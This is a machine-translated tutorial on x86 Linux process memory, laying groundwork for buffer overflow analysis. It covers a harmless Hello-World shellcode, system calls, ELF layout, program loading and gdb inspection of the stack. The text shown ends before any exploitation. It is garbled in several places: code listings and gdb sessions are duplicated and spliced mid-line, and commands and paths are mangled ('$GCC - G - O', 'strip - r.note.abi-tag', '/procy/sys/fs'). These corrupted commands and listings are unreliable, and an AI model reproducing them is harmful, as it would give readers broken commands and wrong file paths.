Buffer overflow and injection analysis

Time:2021-7-21

preface

Although program loading and dynamic symbolic linking are well understood, they are “entangled” by the memory image of the process. It’s out of control – it’s fun.

Next, let’s explore the “buffer overflow and injection” problem (mainly concerned with the memory image of the program).

Memory image of the process

Forever  Hello WorldIt’s too familiar,

#include 
int main(void)
{
    printf("Hello World\n");
    return 0;
}

If you want to use inline assembly(inline assembly)What about writing?

1  /* shellcode.c */
 2  void main()
 3  {
 4      __asm__ __volatile__("jmp forward;"
 5                   "backward:"
 6                           "popl   %esi;"
 7                           "movl   $4, %eax;"
 8                           "movl   $2, %ebx;"
 9                           "movl   %esi, %ecx;"
10                           "movl   $12, %edx;"
11                           "int    $0x80;"    /* system call 1 */
12                           "movl   $1, %eax;"
13                           "movl   $0, %ebx;"
14                           "int    $0x80;"    /* system call 2 */
15                   "forward:"
16                           "call   backward;"
17                           ".string \"Hello World\\n\";");
18  }

It looks very complicated. In fact, I did one thing and wrote a message to the terminal  Hello World 。 But this is very interesting. First, briefly analyze the process:

  • The function of line 4 is to jump to line 15 (i.e  forward  Mark), followed by line 16.
  • Line 16 calls  backward, jump to line 5, and then execute lines 6 to 14.
  • Line 6 to line 11 are responsible for printing out in the terminal  Hello World  String (more on that later).
  • Lines 12 through 14 exit the program (more on that later).

In order to better understand the above code and follow-up analysis, let’s introduce several more important contents.

Common registers

X86  The processor platform has three common registers: program instruction pointer, program stack pointer and program base pointer

register name notes
EIP Program instruction pointer Usually points to the position of the next instruction
ESP Program stack pointer Usually points to the current position of the current stack
EBP Program base pointer Usually points to the top of the stack used by the function

Of course, the above are extended registers for 32-bit systems, corresponding to 16 systems  ipspbp 。

Analysis of the function of call and RET instruction

  • call  instructions

    Jump to a location and forward the address of the next instruction(EIP)Put it on the stack (to facilitate the program to be executed after it returns). In this way:

    call backward   ==>   push eip
                            jmp backward
  • ret  instructions

    usually  call  Instructions and  ret  The former is pressed into the address of the next instruction before the jump, while the latter pops up  call  The instruction pushed in by the instruction, so that the subsequent instruction can be executed after the function call is completed.

    ret                    ==>   pop eip

Usually, after a function call, it needs to be restored  esp  and  ebp, recovery  esp  That is to restore the current stack pointer so as to release the space automatically allocated for storing the local variables of the function when calling the function; recovery  ebp  Is to pop up a data item from the stack (usually the first statement after a function call is  push ebp)To restore the current function pointer to the function caller itself. These two movements can be carried out by one way  leave  Command complete.

These three instructions will be very helpful for our subsequent explanation. For more information about Intel’s instruction set, please refer to:Intel 386 Manual, x86 Assembly Language FAQ:part1part2part3.

What is system call (take Linux 2.6.21 and x86 as examples)

System call is the interface between the user and the kernel. If the user wants to write a program, he often calls the C library directly and does not care about system call. In fact, the C library is also based on system call. In this way, the application and kernel can be linked through system calls. They are in the user space and kernel space of the operating system (mainly the isolation of memory address space).

User space applications
                        |      |
                        |C library (such as glibc)
                        |      |
                       System calls, such as sys_ read, sys_ write, sys_ exit)
                            |
Kernel space kernel

System calls are actually functions that are defined in the  arch/i386/kernel/sys_i386.c ( The old one is here  arch/i386/kernel/sys.c)File, and organized by a system call table, which has been loaded when the kernel starts. The entry of this table is in the  arch/i386/kernel/syscall_table.S  Inside (the old one is inside)  arch/i386/kernel/entry.S)。 In this way, if you want to add a new system call, modify the files in the above two kernels and recompile the kernel. Of course, if you want to use them in an application, you have to write them to the  include/asm/unistd.h  In the middle.

If you want to use a system call in C language, you need to include the header file  /usr/include/asm/unistd.h, which contains the declaration of each system call and the system call number (corresponding to the entry of the call table, that is, the index in the call table, which is set up for the convenience of looking up the call table). If it’s a new system call defined by yourself, you may have to start with a macro  _syscall(type, name, type1, name1...)To declare good parameters.

If you want to use it in assembly language, you need to use  int 0x80  Call, this is the interrupt entry of system call. There are several registers related to transfer parameters,eax  Is the system call number  /usr/include/asm-i386/unistd.h  Or go straight to  arch/i386/kernel/syscall_table.S  Other registers such as  ebxecxedxesiedi  It stores the parameters of the system call once. The return value of the system call is stored in the  eax  Register.

Now it’s easy to explain the above  Shellcode.c  There are two and three parts in the program flow. Because it’s all used  int 0x80  Interrupt, so the system call is used.

The third part is very simple, using the system call number is 1, through the look-up table (look-up table)  /usr/include/asm-i386/unistd.h  or  arch/i386/kernel/syscall_table.S)You can see that this is  sys_exit  Call, and then from  /usr/include/unistd.h  File to see the declaration of the system call, found the parameters  ebx  Is the exit state of the program.

Part 2 is interesting and a little more complicated. Let’s look at each register in turn. First, according to the  eax  For 4, determine (also look up the table) that the system call is  sys_write, and view its declaration (from  /usr/include/unistd.h), we find the parameters are file descriptor, string pointer and string length.

  • The first parameter is  ebx, which is exactly 2, that is, standard error output. The default is terminal.
  • The second parameter is  ecx, and  ecx  Content from  esiesi  The value from the stack just popped up (see line 6)  popl %esi;), which happened to happen before  call  The instruction caused the latest stack pressing operation, and the content of the stack was just  call  The address of the next instruction of the instruction  .string  The address of the bank, so  ecx  Just quoted  Hello World\\n  The address of the string.
  • The third parameter is  edxIt’s exactly 12  Hello World\\n  The length of the string (including an empty character). So,Shellcode.c  The execution process is very clear, and the cleverness of lines 4, 5, 15 and 16 is easy to understand  .string  Stored in  call  After the command, use  popl  Instruction handle  eip  Pop up as a string entry).

What is an ELF file

Elf here is not a “Wizard”, but an executable and linking format file. It is a file format used for object files, executable files and shared libraries under Linux. It has special standards, such as:X86 ELF format and ABIChinese version

The following is a brief description  ELF  Format.

ELF  There are three main types of documents, namely:

  • Relocatable object file, used at compile time  gcc  Of  -c  Parameter.
  • Executable file, this kind of file is the executable file that we will discuss later.
  • The shared library is mainly a dynamic shared library, while the static shared library is a relocatable object file  ar  Orders are organized.

ELF  General structure of the document:

Elf header # program header, including magic number (refer to man magic) and type of the file
Program header table # is valid for executable files and shared libraries. It describes the sections composed of the following sections
Section1
Section2
Section3
.....
Program section table # is only valid for relocatable target files and static libraries. It is used to describe the relocation information of each section.

For an executable file, the last  Program Section Table ( Node table) and some non relocating  SectionFor example  .comment.note.XXX.debug  And other information can be deleted, but if you use  stripobjcopy  After the tool is deleted, it cannot be restored. Because this information is generally useless to the operation of the program.

ELF  The main section of the document(section)Yes  .data.text.bss.interp  And so on(segment)Yes  LOADINTERP  And so on. The main corresponding relationships between them (segments and segments) are as follows

Section explain example
.data Initialized data such as  int a=10
.bss Uninitialized data such as  char sum[100];  Before the program is executed, the kernel will be initialized to 0
.text Program code text To execute the instruction set
.interp Describes the interpreter required by the program (dynamic link and loader) The full path of the existence interpreter, such as  /lib/ld-linux.so

After the program is executed,.data.bss.text  Some of the sections will be destroyed  Program header table  Map to  LOAD  Paragraph,.interp  Is mapped to  INTERP  Paragraph.

about  ELF  It is recommended to use the  filesizereadelfobjdumpstripobjcopygdbnm  And so on.

Here is a brief demonstration of these tools:

$GCC - G - O shellcode shellcode. C # if you want to debug with GDB, you must add - g at compile time
shellcode.c: In function ‘main’:
shellcode.c:3: warning: return type of ‘main’ is not ‘int’
F $file shellcode # file command view file type, want to understand the working principle, can man magic, man file
shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), not stripped
$readelf - L shellcode # lists the program head table in front of the ELF file, followed by its description
                       #The relationship between segments and sections is described, that is, which segments each segment contains.
Elf file type is EXEC (Executable file)
Entry point 0x8048280
There are 7 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
  INTERP         0x000114 0x08048114 0x08048114 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x0044c 0x0044c R E 0x1000
  LOAD           0x00044c 0x0804944c 0x0804944c 0x00100 0x00104 RW  0x1000
  DYNAMIC        0x000460 0x08049460 0x08049460 0x000c8 0x000c8 RW  0x4
  NOTE           0x000128 0x08048128 0x08048128 0x00020 0x00020 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r
          .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag
   06
$size shellcode # use the size command to view the size of each segment (corresponding to the process memory image to be analyzed later)
   text    data     bss     dec     hex filename
    815     256       4    1075     433 shellcode
$strip - r.note.abi-tag shellcode # you can use strip to "lose weight" for executable files and delete useless information
$size shellcode # "weight loss" after the effect of "obvious", for embedded systems should have a great role
   text    data     bss     dec     hex filename
    783     256       4    1043     413 shellcode
The main work of $objdump - S - J. interp shellcode # is decompilation, but it's also very powerful to view each section

shellcode:     file format elf32-i386

Contents of section .interp:
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 8048124 2e3200                               .2.

Add: if you want to delete the executable file  Program Section Table, can be used  A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux  It was written by the author of the article  elf kicker  In the tool chain  sstrip  Tools.

Basic process of program execution

In the command line, type in the name of the program or the full path, and then press enter to start the program. How does this work?

First of all, we need to know our command line again. The command line is the interface between the kernel and the user, and it is also a program itself. After the Linux system starts, a process will be set up for each end user to execute a shell interpreter, which interprets and executes the user’s input commands to realize the interface between the user and the kernel. What are the procedures of such interpretation? At present, the most commonly used under Linux are  /bin/bash 。 What is the process of receiving and executing commands?

First, briefly describe the process

  • Read the command line entered by the user from the keyboard.
  • Analyze the command, take the command name as the file name, and change other parameters to system call  execve  The form required for internal processing.
  • Terminal process call  fork  Set up a subprocess.
  • The terminal process itself uses system calls  wait4  To wait for the child process to complete (not if it is a background command). Called when the child process is running  execveAccording to the file name (i.e. the command name), the subprocess looks up the relevant files in the directory (this is the file composed of the command interpreter), calls it into the memory, and executes the program (interprets the command).
  • If there is a  &  The terminal process does not need to be called by the system  wait4  Wait, prompt immediately, let the user enter the next command, turn to 1). If there is no  &  When the child process (i.e. the process running the command) finishes processing, it will terminate and report to the parent process (terminal process). At this time, the terminal process wakes up. After doing the necessary discrimination and other work, the terminal process will prompt the user to enter a new command and repeat the above processing.

Now use it  strace  To track the system calls used in the process of program execution.

$ strace -f -o strace.out test
$ cat strace.out | grep \(.*\) | sed -e "s#[0-9]* \([a-zA-Z0-9_]*\)(.*).*##g"
execve
brk
access
open
fstat64
mmap2
close
open
read
fstat64
mmap2
mmap2
mmap2
mmap2
close
mmap2
set_thread_area
mprotect
munmap
brk
brk
open
fstat64
mmap2
close
close
close
exit_group

The related system calls basically reflect the above execution process. It should be noted that memory mapping is also involved(mmap2)And so on.

Let’s talk about some more interesting contents. Refer to the program execution of “deep understanding of Linux kernel” (p681).

Linux supports many different executable file formats. How to explain these different formats? Usually we just type in an order from the command line, and we don’t care about these details. In fact, there is one under Linux  struct linux_binfmt  Structure to manage different types of executable files. There are corresponding executable file processing functions in this structure. The general process is as follows:

  • Executed in user mode  execve  After that, trigger  int 0x80  Interrupt, enter kernel state, execute corresponding functions in kernel state  do_sys_execve, which in turn calls  do_execve  Function.  do_execve  Function to read the executable file, check the permissions, if there is no problem, continue to read the relevant information required by the executable file(struct linux_binprm  Description).

  • Go on  search_binary_handlerAccording to the type of executable file (determined by the last step), in the  linux_binfmt  Structure linked list(formatsThis list can be accessed through  register_binfmt  and  unregister_binfmt  Register and delete the information of some executable files, so it is possible to register a new executable file. Later, we will find the corresponding structure, and then execute the corresponding  load_binary  Function to start loading the executable. The last element in the list always interprets the script for(interpreted script)An object described in the executable file format of. This format only defines  load_binary  Methods, the corresponding  load_script  Function to check whether the executable file has two  #!  If so, the function interprets the rest of the first line with the pathname of another executable file as a parameter, and passes the script file name as a parameter to execute the script (in fact, the script program passes its own content as a parameter to the interpreter (such as  /bin/bash)This interpreter is usually used at the beginning of a script file  #!  If there is no tag, the default interpreter is the current  SHELL)。

  • about  ELF  Type file, its processing function is  load_elf_binaryIt reads in first  ELF  The header of the file reads various data according to the header information, and scans the program segment description table again(Program Header Table), found type  PT_LOAD  (i.e  .text.data.bss  And map it to the same node area(elf_map)To the fixed address of the memory, if there is no description segment of the dynamic connector, set the returned entry address as the application entry. What does it do  start_threadIt doesn’t start a thread, it just modifies it  pt_regs  Saved in  PC  And so on, so that it points to the entry of the loaded application. When the kernel operation ends and returns to user mode, the application itself is executed.

  • If the application uses the dynamic connection library, the kernel not only loads the specified executable file, but also gives the control to the dynamic connector(ld-linux.so)In order to handle the dynamic connection program. Kernel search segment table(Program Header Table), find the  PT_INTERP  Section, and use the  load_elf_interp  Load its image and set the returned entry address to  load_elf_interp  The return value of, that is, the entry of the dynamic linker. When  execve  When the system call exits, the dynamic connector runs. It checks the dependency of the application program on the shared link library, loads it when necessary, and relocates the external reference of the program (seeProcess and basic operation of process)。 And then give control to the application, from  ELF  The program entry point defined in the file header (with  readelf -h  As you can see,Entry point address  That is to say, start to carry out( But for non  LIB_BIND_NOW  The shared library loading of is performed only when there is an external reference request).

There is no way to call the kernel function  strace(it can only trace to the system call layer), so to trace the execution details of each system call in the kernel, you need to use other tools. For example, ftrace can be used to track which functions are called by the kernel. Of course, it can also be passed  ctags/cscope/LXR  And other tools to analyze the source code of the kernel.

Linux allows us to register our own executable format. The main interface is  /procy/sys/fs/binfmt_misc/register, which can be realized by writing a string in a specific format. The string format is as follows:  :name:type:offset:string:mask:interpreter:

  • name  New format identifier
  • type  Identification type(M  Represents magic number,E  (represents extension)
  • offset  Magic number(magic number, please refer to  man magic  and  man file)The start offset in the file
  • string  A sequence of bytes matched by magic numbers or extensions
  • mask  It’s used to shield them  string  Some of the bits
  • interpreter  The full pathname of the program interpreter

Memory image of programs in Linux

How to allocate memory to process under Linux? From  /proc//maps  I see a rough picture in the file. there  pid  It’s the process number.

/proc  The next file is quite special, which is  self, which links to the process number of the current process, for example:

$ ls /proc/self -l
lrwxrwxrwx 1 root root 64 2000-01-10 18:26 /proc/self -> 11291/
$ ls /proc/self -l
lrwxrwxrwx 1 root root 64 2000-01-10 18:26 /proc/self -> 11292/

See? It’s different every time, so we can pass  cat /proc/self/maps  You can see that  cat  The memory image of the program when it is executed.

$ cat -n /proc/self/maps
     1  08048000-0804c000 r-xp 00000000 03:01 273716     /bin/cat
     2  0804c000-0804d000 rw-p 00003000 03:01 273716     /bin/cat
     3  0804d000-0806e000 rw-p 0804d000 00:00 0          [heap]
     4  b7b90000-b7d90000 r--p 00000000 03:01 87528      /usr/lib/locale/locale-archive
     5  b7d90000-b7d91000 rw-p b7d90000 00:00 0
     6  b7d91000-b7ecd000 r-xp 00000000 03:01 466875     /lib/libc-2.5.so
     7  b7ecd000-b7ece000 r--p 0013c000 03:01 466875     /lib/libc-2.5.so
     8  b7ece000-b7ed0000 rw-p 0013d000 03:01 466875     /lib/libc-2.5.so
     9  b7ed0000-b7ed4000 rw-p b7ed0000 00:00 0
    10  b7eeb000-b7f06000 r-xp 00000000 03:01 402817     /lib/ld-2.5.so
    11  b7f06000-b7f08000 rw-p 0001b000 03:01 402817     /lib/ld-2.5.so
    12  bfbe3000-bfbf8000 rw-p bfbe3000 00:00 0          [stack]
    13  ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]

The number is not in the original document. For convenience, use  -n  Parameters. We can get the following information:

  • The memory area corresponding to lines 1 and 2 is our program (including instructions, data, etc.)
  • The memory area corresponding to lines 3 to 12 is the stack segment, which also reflects the DLL referenced by the program
  • Line 13 is kernel space

To sum up:

  • The first two parts are user space, which can be accessed from  0x00000000  reach  0xbfffffff ( At the end of the test  2.6.21.5-smp  Only to  bfbf8000)And kernel space from  0xC0000000  reach  0xffffffff, respectively  3G  and  1GSo for each process, the total  4G  Virtual memory space for
  • From the memory occupied by the program itself to the stack segment (dynamic memory acquisition or the space used to store local variables and parameters during function operation), the former is  heapThe latter is  stack)To the kernel space, the address is from low to high
  • The top of the stack is not  0xC0000000  Next fixed value

Combined with related information, we can get such a detailed process memory image table (to  Linux 2.6.21.5-smp  For example:

address Kernel space describe
0xC0000000    
  (program flie) program name The first parameter of execve
  (environment) environment variables The third parameter of execve and the third parameter of main
  (arguments) parameter The second parameter of execve, the formal parameter of main
  Stack stack Automatic variables and the information to be saved each time a function is called are
    Stored here, including the return address of the function and the name of the caller
    Environment information, function parameters and local variables are stored here
  (shared memory) Approximate location of shared memory
   
   
  (heap) reactor It is mainly used for dynamic storage allocation, such as malloc, new, etc.
   
  .bss (uninitilized data) No initialized data (global variable)
  .data (initilized global data) Initialized global data (global variables)
  .text (Executable Instructions) It’s usually an executable instruction
0x08048000    
0x00000000  

There’s no concept, we use it  gdb  Let’s take a look at the simple program.

$GCC - G - O shellcode shellcode. C # to debug with GDB, you need to add the - g parameter when compiling
$ gdb -q ./shellcode
(GDB) set args arg1 arg2 ARG3 arg4 to test, set several parameters
(GDB) l # browse code
1 /* shellcode.c */
2 void main()
3 {
4     __asm__ __volatile__("jmp forward;"
5     "backward:"
6        "popl   %esi;"
7        "movl   $4, %eax;"
8        "movl   $2, %ebx;"
9        "movl   %esi, %ecx;"
10               "movl   $12, %edx;"
(GDB) break 4 # set a breakpoint at the assembly entry to stop the program after it runs
Breakpoint 1 at 0x8048332: file shellcode.c, line 4.
(GDB) r # running program
Starting program: /mnt/hda8/Temp/c/program/shellcode arg1 arg2 arg3 arg4

Breakpoint 1, main () at shellcode.c:4
4     __asm__ __volatile__("jmp forward;"
(GDB) print $ESP # prints the current stack pointer value, which is used to find the top of the whole stack
$1 = (void *) 0xbffe1584
(GDB) x / 100s $ESP + 4000 # change the following 4000 and keep looking for more space
(GDB) x / 1s 0xbffe1fd9 # find the program name in 0xbffe1fd9, here is the top of the stack during this run
0xbffe1fd9:      "/mnt/hda8/Temp/c/program/shellcode"
(GDB) x / 10s 0xbffe17b7 # other environment variable information
0xbffe17b7:      "CPLUS_INCLUDE_PATH=/usr/lib/qt/include"
0xbffe17de:      "MANPATH=/usr/local/man:/usr/man:/usr/X11R6/man:/usr/lib/java/man:/usr/share/texmf/man"
0xbffe1834:      "HOSTNAME=falcon.lzu.edu.cn"
0xbffe184f:      "TERM=xterm"
0xbffe185a:      "SSH_CLIENT=219.246.50.235 3099 22"
0xbffe187c:      "QTDIR=/usr/lib/qt"
0xbffe188e:      "SSH_TTY=/dev/pts/0"
0xbffe18a1:      "USER=falcon"
...
(GDB) x / 5S 0xbffe1780 # some parameters passed to the main function, including the file name and other parameters
0xbffe1780:      "/mnt/hda8/Temp/c/program/shellcode"
0xbffe17a3:      "arg1"
0xbffe17a8:      "arg2"
0xbffe17ad:      "arg3"
0xbffe17b2:      "arg4"
(GDB) print init # print the address of init function, which is the function in / usr / lib / CrTi. O to do some initialization operations
$2 = {} 0xb7e73d00 
(GDB) print fini #, also defined in / usr / lib / CrTi. O, does some processing at the end of the program
$3 = {} 0xb7f4a380 
(gdb) print _ Start # in / usr / lib / CRT1. O, this is the entry of the program. If necessary, LD will check this
$4 = {} 0x8048280 
(GDB) print main # here is our main function
$5 = {void ()} 0x8048324

Add: in the memory image of the process, you may see such as  initfini_start  And so on function (or entrance), these things are not written by us? Why is it in our code? These things are actually linked  gcc  Default to connect in, mainly used to do some process initialization and termination action. For more details, please refer to resourcesHow to get the static image file of the current processAnd “the Linux kernel primer”, p234, figure 4.11. If you want to know the specific process of link (LD), you can refer to Chapter 7 “environment of UNIX process” in “advanced programming in UNIX Environment”, P127 and P13,ELF: From The Programmer’s PerspectiveGNU LD connection scripts linker scripts

The above operation is less on the stack. Let’s use an example to demonstrate the stack in memory.

Stack organization in memory

This section mainly introduces how to transfer parameters, how to store local variables, the position and change of their corresponding stacks when a function is called, so as to deepen the understanding of stacks. During the operation, it is found that the result is not the same as that in the reference (not in the reference)  edi  and  esi  There is no relevant information in a small program in the second part  gcc  Version of the problem or it is different to deal with different source code. My version is  4.1.2 ( Can pass  gcc --version  View).

Let’s start with a simple program, which not only does an addition operation, but also copies some strings.

/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */

#define BUF_SIZE 8

#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif

int func(int a, int b, int c)
{
    int sum = 0;
    char buffer[BUF_SIZE];

    sum = a + b + c;

    memset(buffer, '
/* testshellcode.c */
#include       /* printf */
#include      /* memset, memcpy */
#define BUF_SIZE 8
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
int sum = 0;
char buffer[BUF_SIZE];
sum = a + b + c;
memset(buffer, '\0', BUF_SIZE);
memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
return sum;
}
int main()
{
int sum;
sum = func(1, 2, 3);
printf("sum = %d\n", sum);
return 0;
}
', BUF_SIZE); memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1); return sum; } int main() { int sum; sum = func(1, 2, 3); printf("sum = %d\n", sum); return 0; }

There is no problem with the above code. Compile and execute it

$ make testshellcode
cc     testshellcode.c   -o testshellcode
$ ./testshellcode
sum = 6

Let’s debug it to see if the  func  The contents of the post stack.

$GCC - G - O testshellcode testshellcode. C # to debug, you need to add the - G option at compile time
$GDB - Q. / testshellcode # start GDB debugging
...
(GDB) set logging on if you want to record the information during debugging, you can turn on the logging function
Copying output to gdb.txt.
(GDB) l main # list the source code
20
21              return sum;
22      }
23
24      int main()
25      {
26              int sum;
27
28              sum = func(1, 2, 3);
29
(GDB) break 28 # stop the program before calling func function to record the EBP (base pointer) at that time
Breakpoint 1 at 0x80483ac: file testshellcode.c, line 28.
(GDB) break func # set the breakpoint at the function entry to record the stack information step by step
Breakpoint 2 at 0x804835c: file testshellcode.c, line 13.
(GDB) disassemble main # decompiles the main function to record the address of the next instruction after calling func
Dump of assembler code for function main:
0x0804839b 0>:    lea    0x4(%esp),%ecx
0x0804839f 4>:    and    $0xfffffff0,%esp
0x080483a2 7>:    pushl  0xfffffffc(%ecx)
0x080483a5 10>:   push   %ebp
0x080483a6 11>:   mov    %esp,%ebp
0x080483a8 13>:   push   %ecx
0x080483a9 14>:   sub    $0x14,%esp
0x080483ac <main+17>:   push   $0x3
0x080483ae <main+19>:   push   $0x2
0x080483b0 <main+21>:   push   $0x1
0x080483b2 <main+23>:   call   0x8048354 <func>
0x080483b7 <main+28>:   add    $0xc,%esp
0x080483ba <main+31>:   mov    %eax,0xfffffff8(%ebp)
0x080483bd <main+34>:   sub    $0x8,%esp
0x080483c0 <main+37>:   pushl  0xfffffff8(%ebp)
0x080483c3 <main+40>:   push   $0x80484c0
0x080483c8 <main+45>:   call   0x80482a0 <[email protected]>
0x080483cd <main+50>:   add    $0x10,%esp
0x080483d0 <main+53>:   mov    $0x0,%eax
0x080483d5 <main+58>:   mov    0xfffffffc(%ebp),%ecx
0x080483d8 <main+61>:   leave
0x080483d9 <main+62>:   lea    0xfffffffc(%ecx),%esp
0x080483dc <main+65>:   ret
End of assembler dump.
(GDB) r # running program
Starting program: /mnt/hda8/Temp/c/program/testshellcode

Breakpoint 1, main () at testshellcode.c:28
28              sum = func(1, 2, 3);
(GDB) print $EBP # print the base address before calling func function, namely previous frame pointer.
$1 = (void *) 0xbf84fdd8
(GDB) n # execute the call instruction and jump to the entry of func function

Breakpoint 2, func (a=1, b=2, c=3) at testshellcode.c:13
13              int sum = 0;
(gdb) n
16              sum = a + b + c;
(GDB) x / 11x $ESP # print the contents of the current stack, you can see that the address is from low to high, and pay attention to the value marked with blue and red
                 #They are the previous stack based address (EBP) and the pointer to the next instruction (EIP) after the call
0xbf84fd94:     0x00000000      0x00000000      0x080482e0      0x00000000
0xbf84fda4:     0xb7f2bce0      0x00000000      0xbf84fdd8      0x080483b7
0xbf84fdb4:     0x00000001      0x00000002      0x00000003
(GDB) n # execute sum = a + B + C, and then compare the first row and the fourth column of the stack content from 0 to 6
18              memset(buffer, '
$GCC - G - O testshellcode testshellcode. C # to debug, you need to add the - G option at compile time
$GDB - Q. / testshellcode # start GDB debugging
...
(GDB) set logging on if you want to record the information during debugging, you can turn on the logging function
Copying output to gdb.txt.
(GDB) l main # list the source code
20
21              return sum;
22      }
23
24      int main()
25      {
26              int sum;
27
28              sum = func(1, 2, 3);
29
(GDB) break 28 # stop the program before calling func function to record the EBP (base pointer) at that time
Breakpoint 1 at 0x80483ac: file testshellcode.c, line 28.
(GDB) break func # set the breakpoint at the function entry to record the stack information step by step
Breakpoint 2 at 0x804835c: file testshellcode.c, line 13.
(GDB) disassemble main # decompiles the main function to record the address of the next instruction after calling func
Dump of assembler code for function main:
0x0804839b 0>:    lea    0x4(%esp),%ecx
0x0804839f 4>:    and    $0xfffffff0,%esp
0x080483a2 7>:    pushl  0xfffffffc(%ecx)
0x080483a5 10>:   push   %ebp
0x080483a6 11>:   mov    %esp,%ebp
0x080483a8 13>:   push   %ecx
0x080483a9 14>:   sub    $0x14,%esp
0x080483ac <main+17>:   push   $0x3
0x080483ae <main+19>:   push   $0x2
0x080483b0 <main+21>:   push   $0x1
0x080483b2 <main+23>:   call   0x8048354 <func>
0x080483b7 <main+28>:   add    $0xc,%esp
0x080483ba <main+31>:   mov    %eax,0xfffffff8(%ebp)
0x080483bd <main+34>:   sub    $0x8,%esp
0x080483c0 <main+37>:   pushl  0xfffffff8(%ebp)
0x080483c3 <main+40>:   push   $0x80484c0
0x080483c8 <main+45>:   call   0x80482a0 <[email protected]>
0x080483cd <main+50>:   add    $0x10,%esp
0x080483d0 <main+53>:   mov    $0x0,%eax
0x080483d5 <main+58>:   mov    0xfffffffc(%ebp),%ecx
0x080483d8 <main+61>:   leave
0x080483d9 <main+62>:   lea    0xfffffffc(%ecx),%esp
0x080483dc <main+65>:   ret
End of assembler dump.
(GDB) r # running program
Starting program: /mnt/hda8/Temp/c/program/testshellcode
Breakpoint 1, main () at testshellcode.c:28
28              sum = func(1, 2, 3);
(GDB) print $EBP # print the base address before calling func function, namely previous frame pointer.
$1 = (void *) 0xbf84fdd8
(GDB) n # execute the call instruction and jump to the entry of func function
Breakpoint 2, func (a=1, b=2, c=3) at testshellcode.c:13
13              int sum = 0;
(gdb) n
16              sum = a + b + c;
(GDB) x / 11x $ESP # print the contents of the current stack, you can see that the address is from low to high, and pay attention to the value marked with blue and red
#They are the previous stack based address (EBP) and the pointer to the next instruction (EIP) after the call
0xbf84fd94:     0x00000000      0x00000000      0x080482e0      0x00000000
0xbf84fda4:     0xb7f2bce0      0x00000000      0xbf84fdd8      0x080483b7
0xbf84fdb4:     0x00000001      0x00000002      0x00000003
(GDB) n # execute sum = a + B + C, and then compare the first row and the fourth column of the stack content from 0 to 6
18              memset(buffer, '\0', BUF_SIZE);
(gdb) x/11x $esp
0xbf84fd94:     0x00000000      0x00000000      0x080482e0      0x00000006
0xbf84fda4:     0xb7f2bce0      0x00000000      0xbf84fdd8      0x080483b7
0xbf84fdb4:     0x00000001      0x00000002      0x00000003
(gdb) n
19              memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
The (GDB) x / 11x $ESP # buffer becomes 0 after initialization
0xbf84fd94:     0x00000000      0x00000000      0x00000000      0x00000006
0xbf84fda4:     0xb7f2bce0      0x00000000      0xbf84fdd8      0x080483b7
0xbf84fdb4:     0x00000001      0x00000002      0x00000003
(gdb) n
21              return sum;
After the copy of (GDB) x / 11x $ESP #, the values of these two columns change, the size is exactly 7 bytes, and the last byte is' \ 0 '
0xbf84fd94:     0x00000000      0x41414141      0x00414141      0x00000006
0xbf84fda4:     0xb7f2bce0      0x00000000      0xbf84fdd8      0x080483b7
0xbf84fdb4:     0x00000001      0x00000002      0x00000003
(gdb) c
Continuing.
sum = 6
Program exited normally.
(gdb) quit
', BUF_SIZE); (gdb) x/11x $esp 0xbf84fd94: 0x00000000 0x00000000 0x080482e0 0x00000006 0xbf84fda4: 0xb7f2bce0 0x00000000 0xbf84fdd8 0x080483b7 0xbf84fdb4: 0x00000001 0x00000002 0x00000003 (gdb) n 19 memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1); The (GDB) x / 11x $ESP # buffer becomes 0 after initialization 0xbf84fd94: 0x00000000 0x00000000 0x00000000 0x00000006 0xbf84fda4: 0xb7f2bce0 0x00000000 0xbf84fdd8 0x080483b7 0xbf84fdb4: 0x00000001 0x00000002 0x00000003 (gdb) n 21 return sum; After the copy of (GDB) x / 11x $ESP #, the values of these two columns change, the size is exactly 7 bytes, and the last byte is' \ 0 ' 0xbf84fd94: 0x00000000 0x41414141 0x00414141 0x00000006 0xbf84fda4: 0xb7f2bce0 0x00000000 0xbf84fdd8 0x080483b7 0xbf84fdb4: 0x00000001 0x00000002 0x00000003 (gdb) c Continuing. sum = 6 Program exited normally. (gdb) quit

From the above operation process, we can get the approximate stack distribution(func  Before the end of the function) is as follows:

address Value (HEX) Symbols or registers notes
Low address     Stack top direction
0xbf84fd98 0x41414141 buf[0] You can see little endian
0xbf84fd9c 0x00414141 buf[1]  
0xbf84fda0 0x00000006 sum It can be seen that all the above are local variables in func function
0xbf84fda4 0xb7f2bce0 esi The source index pointer can be viewed by generating intermediate code, which seems to have little effect
0xbf84fda8 0x00000000 edi Destination index pointer
0xbf84fdac 0xbf84fdd8 ebp The base address of the stack before calling func so that it can be recovered after the end of the function call
0xbf84fdb0 0x080483b7 eip Pointer to the instruction before calling func to continue execution after the end of the function call
0xbf84fdb4 0x00000001 a The first parameter
0xbf84fdb8 0x00000002 b The second parameter
0xbf84fdbc 0x00000003 c The third parameter, visible parameter, starts to stack from the last one
High address     Stack bottom direction

Let’s first explain  edi  and  esi  The origin of (we did not see in the above debugging process) is obtained through the analysis of producing intermediate assembly code.

$ gcc -S testshellcode.c

